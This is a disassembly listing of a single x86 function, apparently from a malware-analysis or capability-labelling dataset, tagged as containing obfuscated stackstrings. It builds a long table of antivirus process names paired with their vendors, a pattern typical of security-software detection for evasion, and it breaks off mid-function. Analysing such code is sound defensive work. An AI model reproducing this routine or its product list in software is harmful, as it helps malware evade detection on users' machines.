Function at 0x416530
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42cd54
mov eax, dword fs:[0]
push eax
mov eax, 0x17f8
call fcn.00419e70
mov eax, dword [0x43b1c0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0xa
mov edi, ecx
xor ebx, ebx
mov esi, 0xf
push str.v3lsvc.exe
lea ecx, [ebp - 0x113c]
mov dword [ebp - 0x1128], esi
mov dword [ebp - 0x112c], ebx
mov byte [ebp - 0x113c], bl
call fcn.00402640
push 6
push str.AhnLab
lea ecx, [ebp - 0x1120]
mov dword [ebp - 4], ebx
mov dword [ebp - 0x110c], esi
mov dword [ebp - 0x1110], ebx
mov byte [ebp - 0x1120], bl
call fcn.00402640
push 9
push str.ahnsd.exe
lea ecx, [ebp - 0x1104]
mov byte [ebp - 4], 1
mov dword [ebp - 0x10f0], esi
mov dword [ebp - 0x10f4], ebx
mov byte [ebp - 0x1104], bl
call fcn.00402640
push 6
push str.AhnLab
lea ecx, [ebp - 0x10e8]
mov byte [ebp - 4], 2
mov dword [ebp - 0x10d4], esi
mov dword [ebp - 0x10d8], ebx
mov byte [ebp - 0x10e8], bl
call fcn.00402640
push 0xa
push str.v3lsvc.exe
lea ecx, [ebp - 0x10cc]
mov byte [ebp - 4], 3
mov dword [ebp - 0x10b8], esi
mov dword [ebp - 0x10bc], ebx
mov byte [ebp - 0x10cc], bl
call fcn.00402640
push 0x10
push str.Antiy_Labs_Antiy
lea ecx, [ebp - 0x10b0]
mov byte [ebp - 4], 4
mov dword [ebp - 0x109c], esi
mov dword [ebp - 0x10a0], ebx
mov byte [ebp - 0x10b0], bl
call fcn.00402640
push 9
push str.esd30.exe
lea ecx, [ebp - 0x1094]
mov byte [ebp - 4], 5
mov dword [ebp - 0x1080], esi
mov dword [ebp - 0x1084], ebx
mov byte [ebp - 0x1094], bl
call fcn.00402640
push 0xd
push str.Aladdin_eSafe
lea ecx, [ebp - 0x1078]
mov byte [ebp - 4], 6
mov dword [ebp - 0x1064], esi
mov dword [ebp - 0x1068], ebx
mov byte [ebp - 0x1078], bl
call fcn.00402640
push 0xc
mov byte [ebp - 4], 7
mov dword [ebp - 0x1048], esi
mov dword [ebp - 0x104c], ebx
mov byte [ebp - 0x105c], bl
push str.ashmaisv.exe
lea ecx, [ebp - 0x105c]
call fcn.00402640
push 0x16
push str.ALWIL_Avast__Antivirus
lea ecx, [ebp - 0x1040]
mov byte [ebp - 4], 8
mov dword [ebp - 0x102c], esi
mov dword [ebp - 0x1030], ebx
mov byte [ebp - 0x1040], bl
call fcn.00402640
push 0xb
push str.ashserv.exe
lea ecx, [ebp - 0x1024]
mov byte [ebp - 4], 9
mov dword [ebp - 0x1010], esi
mov dword [ebp - 0x1014], ebx
mov byte [ebp - 0x1024], bl
call fcn.00402640
push 0x16
push str.ALWIL_Avast__Antivirus
lea ecx, [ebp - 0x1008]
mov byte [ebp - 4], 0xa
mov dword [ebp - 0xff4], esi
mov dword [ebp - 0xff8], ebx
mov byte [ebp - 0x1008], bl
call fcn.00402640
push 0xc
push str.aswupdsv.exe
lea ecx, [ebp - 0xfec]
mov byte [ebp - 4], 0xb
mov dword [ebp - 0xfd8], esi
mov dword [ebp - 0xfdc], ebx
mov byte [ebp - 0xfec], bl
call fcn.00402640
push 0x16
push str.ALWIL_Avast__Antivirus
lea ecx, [ebp - 0xfd0]
mov byte [ebp - 4], 0xc
mov dword [ebp - 0xfbc], esi
mov dword [ebp - 0xfc0], ebx
mov byte [ebp - 0xfd0], bl
call fcn.00402640
push 0xc
push str.ashwebsv.exe
lea ecx, [ebp - 0xfb4]
mov byte [ebp - 4], 0xd
mov dword [ebp - 0xfa0], esi
mov dword [ebp - 0xfa4], ebx
mov byte [ebp - 0xfb4], bl
call fcn.00402640
push 0x16
push str.ALWIL_Avast__Antivirus
lea ecx, [ebp - 0xf98]
mov byte [ebp - 4], 0xe
mov dword [ebp - 0xf84], esi
mov dword [ebp - 0xf88], ebx
mov byte [ebp - 0xf98], bl
call fcn.00402640
push 0xc
push str.ashsimpl.exe
lea ecx, [ebp - 0xf7c]
mov byte [ebp - 4], 0xf
mov dword [ebp - 0xf68], esi
mov dword [ebp - 0xf6c], ebx
mov byte [ebp - 0xf7c], bl
call fcn.00402640
push 0x16
mov byte [ebp - 4], 0x10
mov dword [ebp - 0xf4c], esi
mov dword [ebp - 0xf50], ebx
mov byte [ebp - 0xf60], bl
push str.ALWIL_Avast__Antivirus
lea ecx, [ebp - 0xf60]
call fcn.00402640
push 0xc
push str.ashWebSv.exe
lea ecx, [ebp - 0xf44]
mov byte [ebp - 4], 0x11
mov dword [ebp - 0xf30], esi
mov dword [ebp - 0xf34], ebx
mov byte [ebp - 0xf44], bl
call fcn.00402640
push 0x16
push str.ALWIL_Avast__Antivirus
lea ecx, [ebp - 0xf28]
mov byte [ebp - 4], 0x12
mov dword [ebp - 0xf14], esi
mov dword [ebp - 0xf18], ebx
mov byte [ebp - 0xf28], bl
call fcn.00402640
push 0xa
push str.dvpapi.exe
lea ecx, [ebp - 0xf0c]
mov byte [ebp - 4], 0x13
mov dword [ebp - 0xef8], esi
mov dword [ebp - 0xefc], ebx
mov byte [ebp - 0xf0c], bl
call fcn.00402640
push 0x1c
push str.Authentium_Command_Antivirus
lea ecx, [ebp - 0xef0]
mov byte [ebp - 4], 0x14
mov dword [ebp - 0xedc], esi
mov dword [ebp - 0xee0], ebx
mov byte [ebp - 0xef0], bl
call fcn.00402640
push 0xa
push str.authfw.exe
lea ecx, [ebp - 0xed4]
mov byte [ebp - 4], 0x15
mov dword [ebp - 0xec0], esi
mov dword [ebp - 0xec4], ebx
mov byte [ebp - 0xed4], bl
call fcn.00402640
push 0x1c
push str.Authentium_Command_Antivirus
lea ecx, [ebp - 0xeb8]
mov byte [ebp - 4], 0x16
mov dword [ebp - 0xea4], esi
mov dword [ebp - 0xea8], ebx
mov byte [ebp - 0xeb8], bl
call fcn.00402640
push 0xa
push str.avgrsx.exe
lea ecx, [ebp - 0xe9c]
mov byte [ebp - 4], 0x17
mov dword [ebp - 0xe88], esi
mov dword [ebp - 0xe8c], ebx
mov byte [ebp - 0xe9c], bl
call fcn.00402640
push 0x10
push str.AVG_Technologies
lea ecx, [ebp - 0xe80]
mov byte [ebp - 4], 0x18
mov dword [ebp - 0xe6c], esi
mov dword [ebp - 0xe70], ebx
mov byte [ebp - 0xe80], bl
call fcn.00402640
push 9
mov byte [ebp - 4], 0x19
mov dword [ebp - 0xe50], esi
mov dword [ebp - 0xe54], ebx
mov byte [ebp - 0xe64], bl
push str.avgui.exe
lea ecx, [ebp - 0xe64]
call fcn.00402640
push 0x10
push str.AVG_Technologies
lea ecx, [ebp - 0xe48]
mov byte [ebp - 4], 0x1a
mov dword [ebp - 0xe34], esi
mov dword [ebp - 0xe38], ebx
mov byte [ebp - 0xe48], bl
call fcn.00402640
push 0xb
push str.avguard.exe
lea ecx, [ebp - 0xe2c]
mov byte [ebp - 4], 0x1b
mov dword [ebp - 0xe18], esi
mov dword [ebp - 0xe1c], ebx
mov byte [ebp - 0xe2c], bl
call fcn.00402640
push 0xd
push str.Avira_AntiVir
lea ecx, [ebp - 0xe10]
mov byte [ebp - 4], 0x1c
mov dword [ebp - 0xdfc], esi
mov dword [ebp - 0xe00], ebx
mov byte [ebp - 0xe10], bl
call fcn.00402640
push 0xc
push str.avcenter.exe
lea ecx, [ebp - 0xdf4]
mov byte [ebp - 4], 0x1d
mov dword [ebp - 0xde0], esi
mov dword [ebp - 0xde4], ebx
mov byte [ebp - 0xdf4], bl
call fcn.00402640
push 0xd
push str.Avira_AntiVir
lea ecx, [ebp - 0xdd8]
mov byte [ebp - 4], 0x1e
mov dword [ebp - 0xdc4], esi
mov dword [ebp - 0xdc8], ebx
mov byte [ebp - 0xdd8], bl
call fcn.00402640
push 9
push str.avcmd.exe
lea ecx, [ebp - 0xdbc]
mov byte [ebp - 4], 0x1f
mov dword [ebp - 0xda8], esi
mov dword [ebp - 0xdac], ebx
mov byte [ebp - 0xdbc], bl
call fcn.00402640
push 0xd
push str.Avira_AntiVir
lea ecx, [ebp - 0xda0]
mov byte [ebp - 4], 0x20
mov dword [ebp - 0xd8c], esi
mov dword [ebp - 0xd90], ebx
mov byte [ebp - 0xda0], bl
call fcn.00402640
push 0xc
push str.avconfig.exe
lea ecx, [ebp - 0xd84]
mov byte [ebp - 4], 0x21
mov dword [ebp - 0xd70], esi
mov dword [ebp - 0xd74], ebx
mov byte [ebp - 0xd84], bl
call fcn.00402640
push 0xd
mov byte [ebp - 4], 0x22
mov dword [ebp - 0xd54], esi
mov dword [ebp - 0xd58], ebx
mov byte [ebp - 0xd68], bl
push str.Avira_AntiVir
lea ecx, [ebp - 0xd68]
call fcn.00402640
push 0xa
push str.avesvc.exe
lea ecx, [ebp - 0xd4c]
mov byte [ebp - 4], 0x23
mov dword [ebp - 0xd38], esi
mov dword [ebp - 0xd3c], ebx
mov byte [ebp - 0xd4c], bl
call fcn.00402640
push 0xd
push str.Avira_AntiVir
lea ecx, [ebp - 0xd30]
mov byte [ebp - 4], 0x24
mov dword [ebp - 0xd1c], esi
mov dword [ebp - 0xd20], ebx
mov byte [ebp - 0xd30], bl
call fcn.00402640
push 9
push str.avgnt.exe
lea ecx, [ebp - 0xd14]
mov byte [ebp - 4], 0x25
mov dword [ebp - 0xd00], esi
mov dword [ebp - 0xd04], ebx
mov byte [ebp - 0xd14], bl
call fcn.00402640
push 0xd
push str.Avira_AntiVir
lea ecx, [ebp - 0xcf8]
mov byte [ebp - 4], 0x26
mov dword [ebp - 0xce4], esi
mov dword [ebp - 0xce8], ebx
mov byte [ebp - 0xcf8], bl
call fcn.00402640
push 0xb
push str.avmailc.exe
lea ecx, [ebp - 0xcdc]
mov byte [ebp - 4], 0x27
mov dword [ebp - 0xcc8], esi
mov dword [ebp - 0xccc], ebx
mov byte [ebp - 0xcdc], bl
call fcn.00402640
push 0xd
push str.Avira_AntiVir
lea ecx, [ebp - 0xcc0]
mov byte [ebp - 4], 0x28
mov dword [ebp - 0xcac], esi
mov dword [ebp - 0xcb0], ebx
mov byte [ebp - 0xcc0], bl
call fcn.00402640
push 0xb
push str.avmcdlg.exe
lea ecx, [ebp - 0xca4]
mov byte [ebp - 4], 0x29
mov dword [ebp - 0xc90], esi
mov dword [ebp - 0xc94], ebx
mov byte [ebp - 0xca4], bl
call fcn.00402640
push 0xd
push str.Avira_AntiVir
lea ecx, [ebp - 0xc88]
mov byte [ebp - 4], 0x2a
mov dword [ebp - 0xc74], esi
mov dword [ebp - 0xc78], ebx
mov byte [ebp - 0xc88], bl
call fcn.00402640
push 0xb
mov byte [ebp - 4], 0x2b
mov dword [ebp - 0xc58], esi
mov dword [ebp - 0xc5c], ebx
mov byte [ebp - 0xc6c], bl
push str.qhntevl.exe
lea ecx, [ebp - 0xc6c]
call fcn.00402640
push 0x20
push str.Cat_Computer_Services_Quick_Heal
lea ecx, [ebp - 0xc50]
mov byte [ebp - 4], 0x2c
mov dword [ebp - 0xc3c], esi
mov dword [ebp - 0xc40], ebx
mov byte [ebp - 0xc50], bl
call fcn.00402640
push 0xa
push str.clamav.exe
lea ecx, [ebp - 0xc34]
mov byte [ebp - 4], 0x2d
mov dword [ebp - 0xc20], esi
mov dword [ebp - 0xc24], ebx
mov byte [ebp - 0xc34], bl
call fcn.00402640
push 6
push str.ClamAV
lea ecx, [ebp - 0xc18]
mov byte [ebp - 4], 0x2e
mov dword [ebp - 0xc04], esi
mov dword [ebp - 0xc08], ebx
mov byte [ebp - 0xc18], bl
call fcn.00402640
push 9
push str.cmain.exe
lea ecx, [ebp - 0xbfc]
mov byte [ebp - 4], 0x2f
mov dword [ebp - 0xbe8], esi
mov dword [ebp - 0xbec], ebx
mov byte [ebp - 0xbfc], bl
call fcn.00402640
push 6
push str.Comodo
lea ecx, [ebp - 0xbe0]
mov byte [ebp - 4], 0x30
mov dword [ebp - 0xbcc], esi
mov dword [ebp - 0xbd0], ebx
mov byte [ebp - 0xbe0], bl
call fcn.00402640
push 0xb
push str.capfaem.exe
lea ecx, [ebp - 0xbc4]
mov byte [ebp - 4], 0x31
mov dword [ebp - 0xbb0], esi
mov dword [ebp - 0xbb4], ebx
mov byte [ebp - 0xbc4], bl
call fcn.00402640
push 0xb
push str.CCA_Inc_Vet
lea ecx, [ebp - 0xba8]
mov byte [ebp - 4], 0x32
mov dword [ebp - 0xb94], esi
mov dword [ebp - 0xb98], ebx
mov byte [ebp - 0xba8], bl
call fcn.00402640
push 0xd
push str.a2service.exe
lea ecx, [ebp - 0xb8c]
mov byte [ebp - 4], 0x33
mov dword [ebp - 0xb78], esi
mov dword [ebp - 0xb7c], ebx
mov byte [ebp - 0xb8c], bl
call fcn.00402640
push 0x12
mov byte [ebp - 4], 0x34
mov dword [ebp - 0xb5c], esi
mov dword [ebp - 0xb60], ebx
mov byte [ebp - 0xb70], bl
push str.Emsi_Software_GmbH
lea ecx, [ebp - 0xb70]
call fcn.00402640
push 9
push str.nod32.exe
lea ecx, [ebp - 0xb54]
mov byte [ebp - 4], 0x35
mov dword [ebp - 0xb40], esi
mov dword [ebp - 0xb44], ebx
mov byte [ebp - 0xb54], bl
call fcn.00402640
push 0x13
push str.Eset_Software_NOD32
lea ecx, [ebp - 0xb38]
mov byte [ebp - 4], 0x36
mov dword [ebp - 0xb24], esi
mov dword [ebp - 0xb28], ebx
mov byte [ebp - 0xb38], bl
call fcn.00402640
push 8
push str.ekrn.exe
lea ecx, [ebp - 0xb1c]
mov byte [ebp - 4], 0x37
mov dword [ebp - 0xb08], esi
mov dword [ebp - 0xb0c], ebx
mov byte [ebp - 0xb1c], bl
call fcn.00402640
push 0x13
push str.Eset_Software_NOD32
lea ecx, [ebp - 0xb00]
mov byte [ebp - 4], 0x38
mov dword [ebp - 0xaec], esi
mov dword [ebp - 0xaf0], ebx
mov byte [ebp - 0xb00], bl
call fcn.00402640
push 0xb
push str.msmpeng.exe
lea ecx, [ebp - 0xae4]
mov byte [ebp - 4], 0x39
mov dword [ebp - 0xad0], esi
mov dword [ebp - 0xad4], ebx
mov byte [ebp - 0xae4], bl
call fcn.00402640
push 0x1c
push str.Microsoft_Security_Essential
lea ecx, [ebp - 0xac8]
mov byte [ebp - 4], 0x3a
mov dword [ebp - 0xab4], esi
mov dword [ebp - 0xab8], ebx
mov byte [ebp - 0xac8], bl
call fcn.00402640
push 0xc
push str.avastsvc.exe
lea ecx, [ebp - 0xaac]
mov byte [ebp - 4], 0x3b
mov dword [ebp - 0xa98], esi
mov dword [ebp - 0xa9c], ebx
mov byte [ebp - 0xaac], bl
call fcn.00402640
push 0xe
push str.avast__Service
lea ecx, [ebp - 0xa90]
mov byte [ebp - 4], 0x3c
mov dword [ebp - 0xa7c], esi
mov dword [ebp - 0xa80], ebx
mov byte [ebp - 0xa90], bl
call fcn.00402640
push 0xc
mov byte [ebp - 4], 0x3d
mov dword [ebp - 0xa60], esi
mov dword [ebp - 0xa64], ebx
mov byte [ebp - 0xa74], bl
push str.ccsvchst.exe
lea ecx, [ebp - 0xa74]
call fcn.00402640
push 8
push str.Symantec
lea ecx, [ebp - 0xa58]
mov byte [ebp - 4], 0x3e
mov dword [ebp - 0xa44], esi
mov dword [ebp - 0xa48], ebx
mov byte [ebp - 0xa58], bl
call fcn.00402640
push 0xc
push str.mcmscsvc.exe
lea ecx, [ebp - 0xa3c]
mov byte [ebp - 4], 0x3f
mov dword [ebp - 0xa28], esi
mov dword [ebp - 0xa2c], ebx
mov byte [ebp - 0xa3c], bl
call fcn.00402640
push 6
push str.Mcafee
lea ecx, [ebp - 0xa20]
mov byte [ebp - 4], 0x40
mov dword [ebp - 0xa0c], esi
mov dword [ebp - 0xa10], ebx
mov byte [ebp - 0xa20], bl
call fcn.00402640
push 0xb
push str.bdagent.exe
lea ecx, [ebp - 0xa04]
mov byte [ebp - 4], 0x41
mov dword [ebp - 0x9f0], esi
mov dword [ebp - 0x9f4], ebx
mov byte [ebp - 0xa04], bl
call fcn.00402640
push 0x1d
push str.Bitdrfender_Internet_security
lea ecx, [ebp - 0x9e8]
mov byte [ebp - 4], 0x42
mov dword [ebp - 0x9d4], esi
mov dword [ebp - 0x9d8], ebx
mov byte [ebp - 0x9e8], bl
call fcn.00402640
push 0xd
push str.seccenter.exe
lea ecx, [ebp - 0x9cc]
mov byte [ebp - 4], 0x43
mov dword [ebp - 0x9b8], esi
mov dword [ebp - 0x9bc], ebx
mov byte [ebp - 0x9cc], bl
call fcn.00402640
push 0x15
push str.Bitdefender_Antivirus
lea ecx, [ebp - 0x9b0]
mov byte [ebp - 4], 0x44
mov dword [ebp - 0x99c], esi
mov dword [ebp - 0x9a0], ebx
mov byte [ebp - 0x9b0], bl
call fcn.00402640
push 0xb
push str.bdagent.exe
lea ecx, [ebp - 0x994]
mov byte [ebp - 4], 0x45
mov dword [ebp - 0x980], esi
mov dword [ebp - 0x984], ebx
mov byte [ebp - 0x994], bl
call fcn.00402640
push 0x2b
mov byte [ebp - 4], 0x46
mov dword [ebp - 0x964], esi
mov dword [ebp - 0x968], ebx
mov byte [ebp - 0x978], bl
push str.Bitdefender_Total_Securitydrweb_500_win.exe
lea ecx, [ebp - 0x978]
call fcn.00402640
push 0x15
push str.Doctor_Web__Ltd_DrWeb
lea ecx, [ebp - 0x95c]
mov byte [ebp - 4], 0x47
mov dword [ebp - 0x948], esi
mov dword [ebp - 0x94c], ebx
mov byte [ebp - 0x95c], bl
call fcn.00402640
push esi
push str.forticlient.exe
lea ecx, [ebp - 0x940]
mov byte [ebp - 4], 0x48
mov dword [ebp - 0x92c], esi
mov dword [ebp - 0x930], ebx
mov byte [ebp - 0x940], bl
call fcn.00402640
push 8
push str.Fortinet
lea ecx, [ebp - 0x924]
mov byte [ebp - 4], 0x49
mov dword [ebp - 0x910], esi
mov dword [ebp - 0x914], ebx
mov byte [ebp - 0x924], bl
call fcn.00402640
push 0xb
push str.fortifw.exe
lea ecx, [ebp - 0x908]
mov byte [ebp - 4], 0x4a
mov dword [ebp - 0x8f4], esi
mov dword [ebp - 0x8f8], ebx
mov byte [ebp - 0x908], bl
call fcn.00402640
push 8
push str.Fortinet
lea ecx, [ebp - 0x8ec]
mov byte [ebp - 4], 0x4b
mov dword [ebp - 0x8d8], esi
mov dword [ebp - 0x8dc], ebx
mov byte [ebp - 0x8ec], bl
call fcn.00402640
push 8
push str.fpav.exe
lea ecx, [ebp - 0x8d0]
mov byte [ebp - 4], 0x4c
mov dword [ebp - 0x8bc], esi
mov dword [ebp - 0x8c0], ebx
mov byte [ebp - 0x8d0], bl
call fcn.00402640
push 0x15
push str.FRISK_Software_F_Prot
lea ecx, [ebp - 0x8b4]
mov byte [ebp - 4], 0x4d
mov dword [ebp - 0x8a0], esi
mov dword [ebp - 0x8a4], ebx
mov byte [ebp - 0x8b4], bl
call fcn.00402640
push 0xb
push str.fsbwsys.exe
lea ecx, [ebp - 0x898]
mov byte [ebp - 4], 0x4e
mov dword [ebp - 0x884], esi
mov dword [ebp - 0x888], ebx
mov byte [ebp - 0x898], bl
call fcn.00402640
push 8
mov byte [ebp - 4], 0x4f
mov dword [ebp - 0x868], esi
mov dword [ebp - 0x86c], ebx
mov byte [ebp - 0x87c], bl
push str.F_Secure
lea ecx, [ebp - 0x87c]
call fcn.00402640
push 9
push str.gdata.exe
lea ecx, [ebp - 0x860]
mov byte [ebp - 4], 0x50
mov dword [ebp - 0x84c], esi
mov dword [ebp - 0x850], ebx
mov byte [ebp - 0x860], bl
call fcn.00402640
push 0x15
push str.G_DATA_Software_GData
lea ecx, [ebp - 0x844]
mov byte [ebp - 4], 0x51
mov dword [ebp - 0x830], esi
mov dword [ebp - 0x834], ebx
mov byte [ebp - 0x844], bl
call fcn.00402640
push 8
push str.thav.exe
lea ecx, [ebp - 0x828]
mov byte [ebp - 4], 0x52
mov dword [ebp - 0x814], esi
mov dword [ebp - 0x818], ebx
mov byte [ebp - 0x828], bl
call fcn.00402640
push 0x13
push str.Hacksoft_The_Hacker
lea ecx, [ebp - 0x80c]
mov byte [ebp - 4], 0x53
mov dword [ebp - 0x7f8], esi
mov dword [ebp - 0x7fc], ebx
mov byte [ebp - 0x80c], bl
call fcn.00402640
push 0xc
push str.vrmonsvc.exe
lea ecx, [ebp - 0x7f0]
mov byte [ebp - 4], 0x54
mov dword [ebp - 0x7dc], esi
mov dword [ebp - 0x7e0], ebx
mov byte [ebp - 0x7f0], bl
call fcn.00402640
push 0xd
push str.Hauri_ViRobot
lea ecx, [ebp - 0x7d4]
mov byte [ebp - 4], 0x55
mov dword [ebp - 0x7c0], esi
mov dword [ebp - 0x7c4], ebx
mov byte [ebp - 0x7d4], bl
call fcn.00402640
push 0xc
push str.nprotect.exe
lea ecx, [ebp - 0x7b8]
mov byte [ebp - 4], 0x56
mov dword [ebp - 0x7a4], esi
mov dword [ebp - 0x7a8], ebx
mov byte [ebp - 0x7b8], bl
call fcn.00402640
push 0x16
push str.INCA_Internet_nProtect
lea ecx, [ebp - 0x79c]
mov byte [ebp - 4], 0x57
mov dword [ebp - 0x788], esi
mov dword [ebp - 0x78c], ebx
mov byte [ebp - 0x79c], bl
call fcn.00402640
push esi
mov byte [ebp - 4], 0x58
mov dword [ebp - 0x76c], esi
mov dword [ebp - 0x770], ebx
mov byte [ebp - 0x780], bl
push str.npescannert.exe
lea ecx, [ebp - 0x780]
call fcn.00402640
push 0x16
push str.INCA_Internet_nProtect
lea ecx, [ebp - 0x764]
mov byte [ebp - 4], 0x59
mov dword [ebp - 0x750], esi
mov dword [ebp - 0x754], ebx
mov byte [ebp - 0x764], bl
call fcn.00402640
push 0xc
push str.nploginv.exe
lea ecx, [ebp - 0x748]
mov byte [ebp - 4], 0x5a
mov dword [ebp - 0x734], esi
mov dword [ebp - 0x738], ebx
mov byte [ebp - 0x748], bl
call fcn.00402640
push 0x16
push str.INCA_Internet_nProtect
lea ecx, [ebp - 0x72c]
mov byte [ebp - 4], 0x5b
mov dword [ebp - 0x718], esi
mov dword [ebp - 0x71c], ebx
mov byte [ebp - 0x72c], bl
call fcn.00402640
push 6
push str.k7.exe
lea ecx, [ebp - 0x710]
mov byte [ebp - 4], 0x5c
mov dword [ebp - 0x6fc], esi
mov dword [ebp - 0x700], ebx
mov byte [ebp - 0x710], bl
call fcn.00402640
push 0x18
push str.K7_Computing_K7AntiVirus
lea ecx, [ebp - 0x6f4]
mov byte [ebp - 4], 0x5d
mov dword [ebp - 0x6e0], esi
mov dword [ebp - 0x6e4], ebx
mov byte [ebp - 0x6f4], bl
call fcn.00402640
push 7
push str.avp.exe
lea ecx, [ebp - 0x6d8]
mov byte [ebp - 4], 0x5e
mov dword [ebp - 0x6c4], esi
mov dword [ebp - 0x6c8], ebx
mov byte [ebp - 0x6d8], bl
call fcn.00402640
push 0x11
push str.Kaspersky_Lab_AVP
lea ecx, [ebp - 0x6bc]
mov byte [ebp - 4], 0x5f
mov dword [ebp - 0x6a8], esi
mov dword [ebp - 0x6ac], ebx
mov byte [ebp - 0x6bc], bl
call fcn.00402640
push 9
push str.avpcc.exe
lea ecx, [ebp - 0x6a0]
mov byte [ebp - 4], 0x60
mov dword [ebp - 0x68c], esi
mov dword [ebp - 0x690], ebx
mov byte [ebp - 0x6a0], bl
call fcn.00402640
push 0x11
mov byte [ebp - 4], 0x61
mov dword [ebp - 0x670], esi
mov dword [ebp - 0x674], ebx
mov byte [ebp - 0x684], bl
push str.Kaspersky_Lab_AVP
lea ecx, [ebp - 0x684]
call fcn.00402640
push 8
push str.avpm.exe
lea ecx, [ebp - 0x668]
mov byte [ebp - 4], 0x62
mov dword [ebp - 0x654], esi
mov dword [ebp - 0x658], ebx
mov byte [ebp - 0x668], bl
call fcn.00402640
push 0x11
push str.Kaspersky_Lab_AVP
lea ecx, [ebp - 0x64c]
mov byte [ebp - 4], 0x63
mov dword [ebp - 0x638], esi
mov dword [ebp - 0x63c], ebx
mov byte [ebp - 0x64c], bl
call fcn.00402640
push 8
push str.avpm.exe
lea ecx, [ebp - 0x630]
mov byte [ebp - 4], 0x64
mov dword [ebp - 0x61c], esi
mov dword [ebp - 0x620], ebx
mov byte [ebp - 0x630], bl
call fcn.00402640
push 0x11
push str.Kaspersky_Lab_AVP
lea ecx, [ebp - 0x614]
mov byte [ebp - 4], 0x65
mov dword [ebp - 0x600], esi
mov dword [ebp - 0x604], ebx
mov byte [ebp - 0x614], bl
call fcn.00402640
push 0xa
push str.scan32.exe
lea ecx, [ebp - 0x5f8]
mov byte [ebp - 4], 0x66
mov dword [ebp - 0x5e4], esi
mov dword [ebp - 0x5e8], ebx
mov byte [ebp - 0x5f8], bl
call fcn.00402640
push 0x10
push str.McAfee_VirusScan
lea ecx, [ebp - 0x5dc]
mov byte [ebp - 4], 0x67
mov dword [ebp - 0x5c8], esi
mov dword [ebp - 0x5cc], ebx
mov byte [ebp - 0x5dc], bl
call fcn.00402640
push 9
push str.mcwce.exe
lea ecx, [ebp - 0x5c0]
mov byte [ebp - 4], 0x68
mov dword [ebp - 0x5ac], esi
mov dword [ebp - 0x5b0], ebx
mov byte [ebp - 0x5c0], bl
call fcn.00402640
push 0x10
push str.McAfee_VirusScan
lea ecx, [ebp - 0x5a4]
mov byte [ebp - 4], 0x69
mov dword [ebp - 0x590], esi
mov dword [ebp - 0x594], ebx
mov byte [ebp - 0x5a4], bl
call fcn.00402640
push 9
mov byte [ebp - 4], 0x6a
mov dword [ebp - 0x574], esi
mov dword [ebp - 0x578], ebx
mov byte [ebp - 0x588], bl
push str.edisk.exe
lea ecx, [ebp - 0x588]
call fcn.00402640
push 0x10
push str.McAfee_VirusScan
lea ecx, [ebp - 0x56c]
mov byte [ebp - 4], 0x6b
mov dword [ebp - 0x558], esi
mov dword [ebp - 0x55c], ebx
mov byte [ebp - 0x56c], bl
call fcn.00402640
push 0xa
push str.mcepoc.exe
lea ecx, [ebp - 0x550]
mov byte [ebp - 4], 0x6c
mov dword [ebp - 0x53c], esi
mov dword [ebp - 0x540], ebx
mov byte [ebp - 0x550], bl
call fcn.00402640
push 0x10
push str.McAfee_VirusScan
lea ecx, [ebp - 0x534]
mov byte [ebp - 4], 0x6d
mov dword [ebp - 0x520], esi
mov dword [ebp - 0x524], ebx
mov byte [ebp - 0x534], bl
call fcn.00402640
push 0x19
push str.windows_kb890830_v3.4.exe
lea ecx, [ebp - 0x518]
mov byte [ebp - 4], 0x6e
mov dword [ebp - 0x504], esi
mov dword [ebp - 0x508], ebx
mov byte [ebp - 0x518], bl
call fcn.00402640
push str.Microsoft_Malware_Protection
lea ecx, [ebp - 0x4fc]
mov byte [ebp - 4], 0x6f
call fcn.00402740
push str.cclaw.exe
lea ecx, [ebp - 0x4e0]
mov byte [ebp - 4], 0x70
call fcn.00402740
push str.Norman_Antivirus
lea ecx, [ebp - 0x4c4]
mov byte [ebp - 4], 0x71
call fcn.00402740
push str.zanda.exe
lea ecx, [ebp - 0x4a8]
mov byte [ebp - 4], 0x72
call fcn.00402740
push str.Norman_Antivirus
lea ecx, [ebp - 0x48c]
mov byte [ebp - 4], 0x73
call fcn.00402740
push str.zlh.exe
lea ecx, [ebp - 0x470]
mov byte [ebp - 4], 0x74
call fcn.00402740
push str.Norman_Antivirus
lea ecx, [ebp - 0x454]
mov byte [ebp - 4], 0x75
call fcn.00402740
push str.psctrls.exe
lea ecx, [ebp - 0x438]
mov byte [ebp - 4], 0x76
call fcn.00402740
mov byte [ebp - 4], 0x77
push str.Panda_Security_Panda_Platinum
lea ecx, [ebp - 0x41c]
call fcn.00402740
push str.avltmain.exe
lea ecx, [ebp - 0x400]
mov byte [ebp - 4], 0x78
call fcn.00402740
push str.Panda_Security_Panda_Platinum
lea ecx, [ebp - 0x3e4]
mov byte [ebp - 4], 0x79
call fcn.00402740
push str.avtask.exe
lea ecx, [ebp - 0x3c8]
mov byte [ebp - 4], 0x7a
call fcn.00402740
push str.Panda_Security_Panda_Platinum
lea ecx, [ebp - 0x3ac]
mov byte [ebp - 4], 0x7b
call fcn.00402740
push str.pctav.exe
lea ecx, [ebp - 0x390]
mov byte [ebp - 4], 0x7c
call fcn.00402740
push str.PC_Tools_PCTools
lea ecx, [ebp - 0x374]
mov byte [ebp - 4], 0x7d
call fcn.00402740
push str.prevx.exe
lea ecx, [ebp - 0x358]
mov byte [ebp - 4], 0x7e
call fcn.00402740
push str.Prevx_Prevx1
lea ecx, [ebp - 0x33c]
mov byte [ebp - 4], 0x7f
call fcn.00402740
push str.rav.exe
lea ecx, [ebp - 0x320]
mov byte [ebp - 4], 0x80
call fcn.00402740
push str.Rising_Antivirus
lea ecx, [ebp - 0x304]
mov byte [ebp - 4], 0x81
call fcn.00402740
push str.bdnagent.exe
lea ecx, [ebp - 0x2e8]
mov byte [ebp - 4], 0x82
call fcn.00402740
push str.BitDefender_GmbH
lea ecx, [ebp - 0x2cc]
mov byte [ebp - 4], 0x83
call fcn.00402740
push str.bdoesrv.exe
lea ecx, [ebp - 0x2b0]
mov byte [ebp - 4], 0x84
call fcn.00402740
push str.BitDefender_GmbH
lea ecx, [ebp - 0x294]
mov byte [ebp - 4], 0x85
call fcn.00402740
push str.alsvc.exe
lea ecx, [ebp - 0x278]
mov byte [ebp - 4], 0x86
call fcn.00402740
push str.Sophos
lea ecx, [ebp - 0x25c]
mov byte [ebp - 4], 0x87
call fcn.00402740
push str.counterspy.exe
lea ecx, [ebp - 0x240]
mov byte [ebp - 4], 0x88
call fcn.00402740
push str.Sunbelt_Software
lea ecx, [ebp - 0x224]
